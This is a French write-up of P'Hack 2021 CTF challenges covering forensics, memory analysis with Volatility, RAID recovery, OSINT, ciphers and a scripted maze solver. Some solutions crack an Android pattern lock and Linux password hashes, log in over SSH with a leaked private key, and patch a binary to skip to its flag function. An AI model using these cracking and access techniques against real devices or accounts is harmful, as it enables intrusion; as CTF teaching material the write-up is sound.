CTF Writeups
- Phack2021
- Cyber apocalypse 2021
WE-1 (FlagClub) - variable
Il s'agit de rassembler 5 shares afin de pouvoir reconstituer le flag dans le cadre d'un Shamir's Secret Sharing. Chaque équipe est munie d'un share différent (donc il y en a une cinquantaine) et doit donc en obtenir 4 autres. De plus, le challenge vaudra de moins en moins de points au fur et à mesure que plus d'équipes le réussiront.
Toute la difficulté du challenge repose sur l'obtention des "shares" de la part des autres participants, qui n'ont pas d'intérêt à partager leur véritable clé car cela entraînerait potentiellement une perte d'avantage contre cette équipe que l'on aiderait à flag, ainsi que de l'avantage général sur les équipes n'ayant pas flag de par la valeur diminuant. Et ceci est sans même imaginer que l'équipe à qui l'on donne sa clé la partage encore plus.
Il est de plus très difficile d'attester de l'authenticité d'une clé (et probablement impossible avec assez de moyens, mais on supposera que personne n'en viendra à ces extrêmes). Le message Discord initial, posté par un bot dans le channel de chaque équipe, est supposé non altérable en tant que tel. Dès lors il s'agit de la preuve évidente que souhaiteront ceux récupérant des clés.
Néanmoins un message Discord est vite falsifié côté client, (notamment car il s'agit d'une application Electron) il suffit d'accéder à ses outils de développeur et d'éditer à foison. Nous avons néanmoins remarqué que changer de channel puis revenir au même rafraîchissait ces changements. Nous avons donc conclu qu'un live Discord montrant le message original après un changement de channel était preuve de validité suffisante pour une clé.
Reste à forcer quelqu'un à donner sa vraie clé. Et pour cela aucune réelle solution. Une fois que le premier parti d'un supposé échange a rempli sa part et donné sa clé, strictement rien n'empêche l'autre de lâchement fuir sans remplir sa part du contrat, si ce n'est son honneur / amour propre s'il en a.
Une fois (si cela arrive) que l'on a récupéré 5 shares, diverses applications permettent de reconstituer le secret, par exemple ssss.
WE-3 (Checkmate) - 64 points
L'archive necessite un mot de passe pour etre décompresser, mais on a un indice sur le mot de passe: c'est une ville français en minuscule. On recupere un json qui contient les 32000 communes françaises, on le format pour avoir un format de wordlist comprehensible par john. On trouve la ville qui sert de mot de passe. On obtient un .bak en decompressant les archives. A l'interieur se trouvent des positions d'echec en notation algébriques mais avec des coups manquants. Il faut donc jouer la partie et tenter d'arriver au mat final pour reconstituer le fichier. Le flag est le md5sum de ce fichier reparé (a noter que 2 parties différentes peuvent être jouées, donnant lieu à 2 flags différents.)
Android Cloud - 128 points
Problème
Un service américain propose de se débarasser définitivement de son smartphone grâce à sa nouvelle plateforme de AaaS (Android as a Service).
Mais méfiant de nature, vous décidez d'aller vérifier par vous même que la sécurité correspond à vos standards.
Lien du challenge : http://android-cloud.phack.fr
Résolution
En arrivant sur le site, on a un téléphone Android qui est verrouillé par un pattern. On peut essayer d'en faire au hasard, mais cela n'affiche juste "Wrong code". Il faut trouver une manière de le deviner.
En bas à gauche du site, on a une rubrique "Last backup on Sat Mar 10 2020, 17:16:18 (UTC+1)". En cliquant sur le mot souligné "backup", on arrive sur le code d'un fichier .php dont voici le début:
# For debug, must remove later !!!
highlight_file ( __FILE__, false ); die();
$filename = "backup@" . date("m-d-Y") . ".zip";
$archive = new ZipArchive();
if (!$archive->open("./dev-backups/" . $filename, (ZipArchive::CREATE | ZipArchive::OVERWRITE))) {
die("Archive init failed");
}
On remarque que le nom de fichier d'une backup commence toujours pas "backup@", puis contient la date sous la forme "mois-jour-année" et enfin l'extension ".zip".
Ayant la date de la dernière backup, on peut former le string suivant: backup@03-10-2020.zip
.
Grâce à la suite du code, on sait que les backups sont stockées dans le dossier dev-backups/
.
On a donc le chemin complet de la dernière backup: url/dev-backups/backup@03-10-2020.zip
, ce qui nous fait télécharger l'archive quand on s'y rend. Une fois l'archive téléchargée, on la décompresse et on obtient ce qui semble être un système Android:
On va donc essayer de cracker le code avec le fichier ou il est stocké, gesture.key
dans data/system/gesture.key
.
Il existe plein d'outils pour obtenir le code, j'ai utilisé celui-ci: https://github.com/sch3m4/androidpatternlock
clem@ubuntu:~/Desktop/phack/forensics/android$ python2 aplc.py ./data/system/gesture.key
################################
# Android Pattern Lock Cracker #
# v0.2 #
# ---------------------------- #
# Written by Chema Garcia #
# http://safetybits.net #
# chema@safetybits.net #
# @sch3m4 #
################################
[i] Taken from: http://forensics.spreitzenbarth.de/2012/02/28/cracking-the-pattern-lock-on-android/
[:D] The pattern has been FOUND!!! => 04137658
[+] Gesture:
----- ----- -----
| 1 | | 3 | | |
----- ----- -----
----- ----- -----
| 4 | | 2 | | 7 |
----- ----- -----
----- ----- -----
| 6 | | 5 | | 8 |
----- ----- -----
It took: 0.6148 seconds
On obtient le code ainsi que le chemin à dessiner, qu'on peut directement faire sur le site:
Flag: PHACK{T4kec4rE_oF_Ur_B4cKupS!}
Git de France - 128 points
Problème
J'ai perdu mon flag quelque part dans ce projet..
Pas moyen de remettre la main dessus :(
- chall.zip
Résolution
On nous donne une archive à décompresser, qui contient les fichiers suivant:
D'après le nom du challenge, on peut se douter que ça n'aura pas grand chose à voir avec le site en lui même, mais plutôt avec le .git. On peut l'ouvrir avec n'importe quel outil git pour pour que ce soit plus simple, je l'ai fait avec gitkraken car je l'avais déjà d'installé et que ça irait plus vite. En cherchant un peu, on trouve le flag.
Flag: PHACK{Z2l0IGNvbW1pdCAtbSAiRXogZ2l0IDp0YWRhOiI=}
Piraterie (Ep 1) - 512 points
Problème
Vous venez d'être embauché en tant qu'analyse sécurité dans votre nouvelle entreprise. Encore ému par cette nouvelle, on vous affecte à votre première mission.
Votre client du jour s'est fait piraté. Heureusement, il a eut la présence d'esprit de ne pas éteindre la machine compromise et vous fournit un dump mémoire.
Essayez de trouver ce qu'a pu faire le pirate.
- dump.raw
Résolution
On nous donne un fichier dump.raw
de 2Go, qui semble être un dump mémoire. On va donc l'analyser avec volatility:
$ ./volatility_2.6_lin64_standalone -f dump.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/home/clem/Desktop/phack/forensics/piraterie/volatility_2.6_lin64_standalone/dump.raw)
PAE type : PAE
DTB : 0x185000L
KDBG : 0x82b40c28L
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0x82b41c00L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2021-02-20 23:46:58 UTC+0000
Image local date and time : 2021-02-21 00:46:58 +0100
Selon l'analyse, c'est un profil Win7SP1x86_23418. On va donc pouvoir utiliser ce profil pour récupérer des infos sur le dump. Les premières choses à regarder peuvent varier, c'est un peu du pif mais on peut deviner qu'il faut regarder le contenu de la console. Pour ça il faut utiliser la commande consoles
(en précisant bien le profil trouvé). J'ai coupé la sortie car elle était vraiment longue, mais elle contenait surtout ça:
...
C:\Users\Mes-vms.fr\Desktop>echo "Got U fucker !!!!" > .Pwned
C:\Users\Mes-vms.fr\Desktop>echo "PHACK{STEP_1-IC4nD0Wh4TuD0}" >> .Pwned
C:\Users\Mes-vms.fr\Desktop>rm .Pwned
...
Flag: PHACK{STEP_1-IC4nD0Wh4TuD0}
Piraterie (Ep 2) - 512 points
Problème
Il semble que le pirate ait réussi à récupérer des informations confidentielles qui étaient visibles sur le bureau.
Validez cette hypothèse et retrouvez cette information.
Résolution
La première chose logique à faire en lisant l'énnoncé est de regarder le contenu du bureau. Pour ça, on a la commande filescan
à laquelle on va piper grep "\Desktop"
:
$ ./volatility_2.6_lin64_standalone -f dump.raw --profile=Win7SP1x86_23418 filescan | grep "\Desktop"
Volatility Foundation Volatility Framework 2.6
0x000000007ce4ae68 1 1 R--rw- \Device\HarddiskVolume1\Users\Mes-vms.fr\Desktop
0x000000007d10ca70 1 1 R--rw- \Device\HarddiskVolume1\Users\Mes-vms.fr\Desktop
0x000000007d1b71a8 1 1 R--rw- \Device\HarddiskVolume1\Users\Mes-vms.fr\Desktop
0x000000007d258778 7 0 R--rwd \Device\HarddiskVolume1\Users\Mes-vms.fr\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini
0x000000007d258b68 7 0 R--rwd \Device\HarddiskVolume1\Users\Mes-vms.fr\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini
0x000000007d30a1c0 1 1 R--rw- \Device\HarddiskVolume1\Users\Mes-vms.fr\Desktop
0x000000007d33e9b0 7 0 R--rwd \Device\HarddiskVolume1\Users\Mes-vms.fr\Desktop\desktop.ini
0x000000007d34f4f8 8 0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini
0x000000007d34fd08 7 0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini
0x000000007d35ace8 7 0 R--rwd \Device\HarddiskVolume1\Users\Mes-vms.fr\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini
0x000000007d38b378 8 0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Tablet PC\Desktop.ini
0x000000007d38ba58 8 0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini
0x000000007d38ce50 8 0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini
0x000000007d3c0f80 1 1 R--rw- \Device\HarddiskVolume1\Users\Mes-vms.fr\Desktop
0x000000007d3fc518 2 1 R--rwd \Device\HarddiskVolume1\Users\Public\Desktop
0x000000007d3fc7f0 2 1 R--rwd \Device\HarddiskVolume1\Users\Public\Desktop
0x000000007d3fcac8 2 1 R--rwd \Device\HarddiskVolume1\Users\Mes-vms.fr\Desktop
0x000000007d3fcda0 2 1 R--rwd \Device\HarddiskVolume1\Users\Mes-vms.fr\Desktop
0x000000007ee66570 7 0 R--rwd \Device\HarddiskVolume1\Users\Mes-vms.fr\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini
0x000000007ee668a8 7 0 R--rwd \Device\HarddiskVolume1\Users\Public\Desktop\desktop.ini
0x000000007fc9af80 8 0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Characters\Desktop.ini
0x000000007fca7260 8 0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Landscapes\Desktop.ini
0x000000007fca79d8 8 0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Architecture\Desktop.ini
0x000000007fd21900 8 0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Nature\Desktop.ini
0x000000007fd3c908 1 1 R--rw- \Device\HarddiskVolume1\Users\Mes-vms.fr\Desktop
0x000000007fd44e00 8 0 R--rwd \Device\HarddiskVolume1\Users\Mes-vms.fr\AppData\Roaming\Microsoft\Windows\SendTo\Desktop.ini
0x000000007fe2f5f0 8 0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Scenes\Desktop.ini
On obtient plein de chemins, mais rien de concluant... J'ai quand même durant le CTF essayé d'extraire le fichier "desktop.ini", qui ne donnait rien. Et c'est la qu'il faut comprendre le sens de la consigne; ce qui "est visible depuis le bureau" n'est pas un fichier, mais le fond d'écran! On peut donc (quand on est comme moi et qu'on ne sait pas ou est stoqué le fond d'écran) grep "wallpaper":
$ ./volatility_2.6_lin64_standalone -f dump.raw --profile=Win7SP1x86_23418 filescan | grep "Wallpaper"
Volatility Foundation Volatility Framework 2.6
0x000000007d10b440 7 0 RWD--- \Device\HarddiskVolume1\Users\Mes-vms.fr\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper.jpg
0x000000007fc9af80 8 0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Characters\Desktop.ini
0x000000007fca7260 8 0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Landscapes\Desktop.ini
0x000000007fca79d8 8 0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Architecture\Desktop.ini
0x000000007fd21900 8 0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Nature\Desktop.ini
0x000000007fe2f5f0 8 0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Scenes\Desktop.ini
On trouve le fond d'écran à la première ligne, on peut essayer de récupérer le fichier avec l'adresse physique du fichier:
$ mkdir output
$ ./volatility_2.6_lin64_standalone -f dump.raw --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000007d10b440 -D output/
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x7d10b440 None \Device\HarddiskVolume1\Users\Mes-vms.fr\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper.jpg
On obtient cette image:
Flag: PHACK{STEP_2-IC4nCwH4TUC}
Piraterie (Ep 3) - 512 points
Problème
Sachant ce qui a été dérobé, il faut maintenant retrouver le malfrat.
Retracez son parcours et retrouvez l'IP ainsi que le port de connexion qu'il a utilisé pendant son attaque.
Le flag est de la forme PHACK{...} avec le résultat de IP:PORT encodé en base 64.
Résolution
Cette partie du challenge est selon moi plus facile que la précédente. Étant donné qu'un "malware" a infecté le PC, on peut penser que le processus malicieux est encore allumé sur l'ordinateur de la victime. On peut lister tout les processus utilisant la connexion sur la machine avec la commande netscan
: (résultat tronqué)
0x7f191890 TCPv4 0.0.0.0:49153 0.0.0.0:0 LISTENING 820 svchost.exe
0x7f191890 TCPv6 :::49153 :::0 LISTENING 820 svchost.exe
0x7fc2fcd0 TCPv4 -:49478 172.217.22.142:443 CLOSED 3040 firefox.exe
0x7fc64008 TCPv4 10.0.2.15:49461 185.13.37.99:1337 ESTABLISHED 4440 powershell.exe
0x7fc9a008 TCPv4 -:49480 172.217.22.142:443 CLOSED 3040 firefox.exe
0x7fc9a798 TCPv4 127.0.0.1:49415 127.0.0.1:49416 ESTABLISHED 2072 firefox.exe
0x7fcc4890 TCPv4 10.0.2.15:49489 216.58.213.78:443 ESTABLISHED 3040 firefox.exe
On y voit tout les processus, y compris un qui semble suspect: "powershell.exe". On nous donne l'ip et le port sous la forme demandé, il ne nous resque plus qu'à l'encoder et à tester le flag.
$ echo -n "185.13.37.99:1337" | base64
MTg1LjEzLjM3Ljk5OjEzMzc=
On reçoit les points en ajoutant l'enrobage, bingo!
Flag: PHACK{MTg1LjEzLjM3Ljk5OjEzMzc=}
RAID Dead Redemption - 512 points
Problème
Vous travaillez à la brigade spéciale du service cyberdéfense de la gendarmerie de Montargis.
Les disques dur d'une femme ont été saisis et viennent de vous être transmis. Elle est suspectée d'avoir téléchargé de nombreux fichiers PNG et JPG dont elle n'avait pas la propriété intellectuelle. Mais il semblerait qu'elle ait eu le temps de supprimer une partie des preuves avant l'intervention. Faites de votre mieux pour en extraire le maximum !
Le manuel d'un logiciel suspect tournant sur l'ordinateur a également été retrouvé et vous a été transmis pour vous guider dans votre enquête.
Résolution
On nous donne une documentation technique faite maison qui parle de disque montés en RAID5, et aussi 3 fichiers, respectivement DISK1.bin, DISK2.bin et DISK3.bin. Ces trois partitions semblent donc faire partie d'un système RAID5, sauf qu'en analysant les fichiers avec la commande file
, on remarque que le disque 2 est vide:
$ file ./DISK*
DISK1.bin: data
DISK2.bin: empty
DISK3.bin: data
Or, comme les partitions viennent d'un système monté en RAID5, une partition est simplement le XOR de deux autres. On peut donc XORer les partitions 1 et 3 pour récupérer la deuxième:
with open("DISK1.bin", "rb") as fin:
disk1 = fin.read()
with open("DISK3.bin", "rb") as fin:
disk3 = fin.read()
disk2 = "".join([chr(int(d1) ^ int(d3)) for d1, d3 in zip(disk1, disk3)])
with open("DISK2_RECOVERED.bin", "wb") as fout:
fout.write(bytes(disk2, "utf-8"))
Ainsi, on obtient notre deuxième disque. Maintenant, on va pouvoir ré-écrire les données contenues dans les disques en se servant des 3 partitions qu'on a, et des informations données dans la notice (comme la taille des blocs à écrire ou la parité):
(je lie une version commentée du code ci-dessous, pour éviter de trop remplir le document)
with open("DISK1.bin", "rb") as fin:
disk1 = fin.read()
with open("DISK2_RECOVERED.bin", "rb") as fin:
disk2 = fin.read()
with open("DISK3.bin", "rb") as fin:
disk3 = fin.read()
raidArray = [disk1, disk2, disk3]
BLOCKSIZE = 1
with open("data", "wb") as fout:
for blockIndex in range(int(len(disk1) / BLOCKSIZE)):
parityIndex = (2 - blockIndex) % 3
for driveIndex in range(3):
if driveIndex != parityIndex:
blockStart = blockIndex * BLOCKSIZE
fout.write(raidArray[driveIndex][blockStart:blockStart + BLOCKSIZE])
Avec ce script on obtient donc les données des disques:
$ file data
data: PNG image data, 706 x 242, 8-bit non-interlaced
C'est une image! C'est bon signe car c'est ce qui était demandé dans la consigne: de retrouver les images volées. Voici l'image en question:
Rien de très concluant... Mais foremost arrive à extraire des données de cette image, donc voici un screen du dossier "output/" qu'il produit:
En fouillant dans le dossier jpg/, on trouve ces images:
Dont celle-ci: (00000752.jpg)
Malgré la qualité déplorable, on a le flag! Le reste des images n'étaient que des memes que voici.
Flag: PHACK{R41d_1s_N1cE_7hANk_U2_m4s7ok_3000!!}
Tendu comme un slip - 64 points
Vu le nom du challenge et le nombre de points, on va utiliser strings
pour afficher tout les charactères imprimables du binaire fourni avec le challenge.
Comme on sait que le flag a pour format PHACK
, on donne le resultat du strings
à grep "PHACK"
et le flag apparaît.
No strings
Pour ce challenge, strings
ne donne rien d'interessant. On va donc utiliser cutter, un frontend pour radare2 pour essayer de reverse le binaire. Dans le listing des fonctions, on voit la fonction display_flag
, qui semble très interessante. Cependant, la fonction display_flag
est très difficile à lire. On va donc utiliser la ligne je 0x1684
du main pour jumper directement dans la fonction. on remplace donc cette ligne par la ligne je 0x1179
qui permet de jumper à l'adresse 0x1179
qui correspond à la fonction display_flag
. On sauvegarde cette modification, on quitte Cutter et on relance le binaire. Le flag apparait.
Mr Weak - 256 points
On recherche un "Johnny Weak". sherlock peut donner des idées de réseaux / sites à regarder (l'output est toujours rempli de faux positifs néanmoins).
On trouve alors un https://github.com/johnnyweak dont l'avatar est analogue au logo du CTF. Celui-ci possède un repository "secret-project", dans lequel on trouve notamment un historique .bash_profile
et une clé privée id_rsa
.
À la fin de l'historique Johnny nous donne gentiment comment accéder à son serveur à l'aide de la clé privée adjointe : ssh -p6969 -i id_rsa johnnyweak@secr3t-pr0j3cts.phack.fr
. Sur celui-ci il ne reste plus qu'à cat
le fichier contenant le flag.
sauce.io - 128 points
Le flag est sur la bannière Twitter de P'Hack, caché par l'avatar.
Journées portes ouvertes - 128 points
On se voit fourni un nom de domaine ainsi que la mention de "port(e)s ouvert(e)s.". On va donc regarder les ports ouverts avec nmap
et voir si ceux-ci acceptent de nous donner un flag.
sudo nmap -vv -p- journees-portes-ouvertes.phack.fr
Et effectivement, sur certains des ports accessibles, on obtient avec nc journees-portes-ouvertes.phack.fr <port>
un fragment du flag, ou sinon un message disant qu'il n'y a rien.
La liste des ports ouverts sur la machine a grandement fluctué pendant que nous essayions de flag ce challenge, et à plusieurs reprises finissait par uniquement 1 ou deux ports disponibles et invariables. Nous ne savons pas dans quelle mesure cela faisait partie du challenge. Dans l'optique de ports ouverts que brièvement nous avons aussi fait usage de rustscan pour détecter ceux-ci le plus vite possible avec le compromis des faux positifs et ratés.
Système de nom de domaine - 128 points
Le titre du challenge est littéralement DNS (Domain Name System). On va donc jeter un oeil aux DNS records du nom de domaine avec dig
, et voilà un flag.
Cracky - 128 points
On se voit donner un hash que l'on doit cracker 19f9f30bd097d4c066d758fb01b75032
.
Il s'agit du hash MD5 de justdoit
qu'un site comme crackstation retrouve facilement.
Etsy - 128 points
Il n'y a pas besoin de prêter attention à l'indice sur le boss, celui-ci est plus déroutant qu'autre chose.
On se voit fourni deux fichiers qui sont respectivement un /etc/passwd et le /etc/shadow associé d'un système, ainsi qu'une wordlist. Il nous reste à voir si l'on peut cracker un ou des mots de passe parmi ceux-ci. On utilise john.
john unshadow passwd shadow > passwords.txt
john --wordlist=wordlist passwords.txt
Après un temps conséquent (17min26 sur mon ordinateur) la session se conclut et précise qu'un mot de passe a été trouvé, l'on peut voir celui-ci avec john --show passwords.txt
, et le flag est PHACK{mot de passe}
.
Sammy - 256 points
On se retrouve avec un fichier system
et un fichier sam
. Ce sont des fichiers similaires à shadow sous linux, qui contiennent des informations sur les mots de passe des utilisateurs. On utilisera l'outil hivexsh
pour ce challenge.
> hivexsh sam
> cd SAM
> sam\SAM> cd Domains
> sam\SAM\Domains> cd Account
> sam\SAM\Domains\Account
Avec ls
, on trouve Users
, on explore les clefs et on trouve dans 00003E9
et grâce à lsval
, on trouve une clef très interessante: UserPasswordHint
.
Finalement, en utilisant lsval UserPasswordHint
, on obtient le flag :).
Certifié sécurisé - 256 points
On trouve l'image Docker sur hub.docker.com
On peut alors la mettre en place afin de naviguer en tant que root
dans ses dossiers :
docker pull phackctf/challenge
sudo dockerd &
sudo docker run -i -t bd2940a6f086 /bin/bash
on retrouve la clé privée associée au certificat phack.key
dans le dossier /cert
On peut ensuite l'utiliser dans un logiciel comme Wireshark pour déchiffrer les échanges HTTPS avec
le site, dans lesquels on accède au mot de passe qui constitue (une fois qu'on l'enveloppe de PHACK{}
) le flag.
Procédure (graphique) pour Wireshark : Editer - Préférences - Protocols - TLS - Edit (RSA keys list) - ajouter son key file ; et au besoin IP serveur | port HTTPS (443) | tls ; ainsi qu'éventuellement la passphrase de la clé privée.
Enchaîné - 128 points
On est face à une chaîne de caractères assez longue ressemblant à du Base64 sans padding, et comprenant 2 points .
. On reconnaît un JWT (JSON Web Token). Celui-ci peut être décodé par un site comme jwt.io. On obtient une chaîne hexadécimale, qui décodée donne du Base64, qui donne enfin le flag chiffré par décalage (voir Guacamole).
Guacamole - 128 points
On est face à un chiffrement qui porte sur les lettres, emphase est faite sur le mot "avocat". Des traumatismes d'enfance permettent d'immédiatement comprendre qu'il s'agit de la clé : "A vaut K" ; il s'agit d'un chiffrement par décalage (ou de César quand on ne sait pas que César chiffrait uniquement avec un décalage de 3). On peut aisément décoder celui-ci avec un site comme dCode.
H3lp - 256 points
Problème
Un message de votre ami intergalactique vient d'arriver ! Saurez-vous le décoder à temps ?
3()()¯¯V)--, '-- v^|--[]_|\|/ <(Z/\>-'v^ []_|¯¯U L!LL|_]_]^-]=[[]ZLL| |--() 3<[^<Z >-[]] .. '-- LLVVUU_] _|'--_V_\|/ -^() ^-WUU/\ 3<(v^ _V_'--¯¯VZ<{A_^-LL|¯¯V. E>- '--Z>LL|[/][--'--LD<||--'--()Zv^ <[A<W _]LL|<|/\'--ZLD EW [--[] |--]=[\|/ '--ZLL<{E()](/) N]A<LD. E^< A_()|--<([--() <(Z/\ A<LL|>< <{^<W ]=[\|/_]A_'--ZLD ELL| ()Z |--]=['--v^. E\|/LL|[-- EVV |--[]Z'--LD]=[[--, |¯¯A_.E, <[[-- ^-'--NN<|^-_]<{ZUU[--. '-- ]=[\|/<{A<¯¯U |--]=[<||-- []Z\|/ []L|_ |--]=[\|/ _|'--[--|--_]VV LD^<LL|WZ EUUZ E'--LD]=[|-- ]=[<|>UU (/)UUWZ V\[]E\|/[--]=['--ZLD. ¯¯U()Z'|-- 3()^<A<>- U()3-^())-- .. 3VV ]=[<(>\|/ <( L|_A<'--UUZ¯¯U '--Z ZUUVV¯¯U, <{Z¯¯V 3W 3'--_|_| Z()[-- ^<LL|(/)|-- ]Z|--'--_| ]=[W'v^ [/]<|LLUU '--Z <|Z¯¯U)--'V\ ^<()[]E. [--<{_V_W L|<[^<\|/.
AA]NN
Le flag est le lieu de rendez-vous en majuscules au format PHACK{LIEU}
.
Résolution
Ce challenge nous a pris beaucoup trop de temps pour sa difficulté. Au début, nous avons essayé de faire correspondre chaque signe du message avec des lettres, comme par exemple () = O
, 3 = B
etc... Mais cela ne donnait rien et était trop lent. Au final, il suffisait d'identifier la méthode utilisée pour crypter le message. Le site dcode.fr nous indique avec une grande confiance que ça serait du LSPK90 Clockwise, qui est une encryption qui consiste à tourner de 90 degrés chaque lettre d'un message. Effectivement, cela semble fonctionner sur notre texte sur le premier mot par exemple:
- 3 = W
- () = O
- () = O
- ¯¯V = D
- )-- = Y
On peut s'aider d'un outil pour trouver le message original complet, comme celui de dcode.fr:
WOODY, I STOLE ANDY'S OLD CELLPHONE TO WARN YOU : I FEEL LIKE BO PEED WAS KIDNAPPED. MY INVESTIGATIONS ARE LEADING ME TO THE INFAMOUS ZURG.
MR POTATO AND REX ARE HELPING ME ON THIS. MEET ME TONIGHT, 7P.M, AT PIZZAPLANET. I HEARD THAT ONE OF THE LITTLE GREEN MEN MIGHT HAVE SEEN SOMETHING.
DON'T WORRY COWBOY : WE HAVE A FRIEND IN NEED, AND WE WILL NOT REST UNTIL HE'S SAFE IN ANDY'S ROOM.
TAKE CARE.
BUZZ
On y lit que Buzz donne rendez-vous à Woody, au "PIZZAPLANET".
Flag: PHACK{PIZZAPLANET}
A-Maze-Ing - 256 points
Problème
Un étrange serveur souhaite vous mettre à l'épreuve.
Soyez à la hauteur.
=== Connexion ===
Serveur : a-maze-ing.phack.fr
Port : 4242
Résolution
En se connectant sur l'URL, voici les informations qu'on a:
On peut essayer de faire une requête GET sur la route http://a-maze-ing.phack.fr:4242/chall pour voir ce qu'on nous donne:
$ curl -X GET "http://a-maze-ing.phack.fr:4242/chall"
{"token": "c612355bbaed4a5ab9d2b3c593d90903", "solveMe": "######################x # # # #### # ##### # # # # ## # # # # ## ### ### ######### ## # # # # # # ## # # # ##### # # # ## # # # # # ## # ####### # ##### ## # # # # ## ##### ### # ### # ## # # # # #### ### # ##### ###### # # # # # # ## ### ##### # ### # ## # # # # # ## ##### # ### # ### ## # # # # ## ### ##### # ### # ## # #$######################"}
Vu le nom du challenge et ce qu'on nous recevons, on peut se douter qu'on va devoir résoudre le labyrinthe donné dans la réponse. Mais d'abord, essayons de reformer le labyrinthe:
On comprend assez bien qu'on doit partir du "x" et se rendre jusqu'au "$", mais comment soumettre la solution ? On peut donc essayer de soumettre une solution au hasard sur la route /chall en POST, et voir la réponse du serveur:
$ curl -X POST "http://a-maze-ing.phack.fr:4242/chall"
Expected json format : { "token" : "", "solution" : "" }
Adaptons la requête:
$ curl -X POST http://a-maze-ing.phack.fr:4242/chall -H "Content-Type: application/json" -d "{\"token\":\"c612355bbaed4a5ab9d2b3c593d90903\",\"solution\":\"ma_super_solution\"}"
Wrong token or time is over
Le token semble avoir expiré, ce qui est normal vu qu'on a mis plus de 5 secondes à répondre. En automatisant, voilà la réponse qu'on obtient:
$ cat test.py
import requests
import json
# On récupère le labyrinthe et le token
url = "http://a-maze-ing.phack.fr:4242/"
to_solve = json.loads(requests.get(url+"chall").text)
print("Maze token:", to_solve["token"])
# On prépare notre réponse avec le token et n'importe quelle solution
params = {
"token": to_solve["token"],
"solution": "ma_super_solution"
}
print("Sending solution:", params)
# On l'envoit et on affiche la réponse
s = requests.post(url+"chall", json=params)
print(s, s.text)
clem@ubuntu:~/Desktop/phack/prog/laby$ python3 test.py
Maze token: b7cfe7a37b0b4557a128eb4487e86b76
Sending solution: {'token': 'b7cfe7a37b0b4557a128eb4487e86b76', 'solution': 'ma_super_solution'}
<Response [200]> "Solution" field must match "^[↑↓←→]*$"
Super, on a notre réponse; on doit envoyer la solution sous la forme de flèches. Il ne reste plus qu'a trouver une façon de résoudre le labyrinthe et de l'envoyer! Pour ça, j'ai trouvé un script sur internet. La plupart du temps de résolution du challenge a en fait été prise par l'adaptation de ce script pour les besoins sur challenge, car ce script était fait pour Python 2.x et surtout ne renvoyait pas la solution sous la forme que nous voulons (les flèches), il a donc fallut l'adapter pour qu'au lieu de juste renvoyer la solution sous forme de labyrinthe dans le fichier "out.txt", le solveur renvoie également la solution sous forme de flèches. J'ai donc opté pour une technique de gros porc, c'est-à-dire ne changer que le strict minimum. Le script se fait donc toujours exécuter avec la commande python3 solver.py in.txt out.txt
, et donc ma technique a été d'appeler ce script avec la méthode "system" du module "os". Voici le solveur adapté:
Et voici l'utilisation que j'en fais avec le fichier "exploit.py": (non modifiée depuis le CTF, toujours pas propre)
import requests
import json
from os import system
dirs = {
"up": "↑",
"down": "↓",
"left": "←",
"right": "→"
}
url = "http://a-maze-ing.phack.fr:4242/"
to_solve = json.loads(requests.get(url+"chall").text)
print("Maze token:", to_solve["token"])
to_solve["solveMe"] = to_solve["solveMe"].replace("x","S").replace("$","E")
with open("in.txt", "w") as fin:
lines = int(len(to_solve["solveMe"])/22)
fin.write("\n".join(to_solve["solveMe"][line*21:line*21+21] for line in range(lines+1)))
system("python3 solver.py in.txt out.txt")
with open("path.txt", "r") as fin:
path = fin.read()
print("Path to send:", path)
params = {
"token": to_solve["token"],
"solution": "↓" + path
}
print("Sending solution:", params)
s = requests.post(url+"chall", json=params)
print(s)
print(s.text)
Voici la sortie:
$ python3 exploit.py
Maze token: 96cc6ed6b5eb45d795dc79eaaaa00930
Path to send: ↓↓↓→→↑↑↑↑→→↓↓→→→→↑↑→→↓↓→→↓↓↓↓↓↓↓↓↓↓←←↓↓←←↑↑←←↑↑→→↑↑→→↑↑←←←←↓↓←←↑↑←←↓↓←←↓↓↓↓↓↓↓↓↓↓→→→→↑↑→→↓↓→→→→→→→→↑↑→→→→↓↓
Sending solution: {'token': '96cc6ed6b5eb45d795dc79eaaaa00930', 'solution': '↓↓↓↓→→↑↑↑↑→→↓↓→→→→↑↑→→↓↓→→↓↓↓↓↓↓↓↓↓↓←←↓↓←←↑↑←←↑↑→→↑↑→→↑↑←←←←↓↓←←↑↑←←↓↓←←↓↓↓↓↓↓↓↓↓↓→→→→↑↑→→↓↓→→→→→→→→↑↑→→→→↓↓'}
<Response [200]>
Congrats ! The flag is PHACK{M4zEs_4Re_7rUly_4m@zIng}
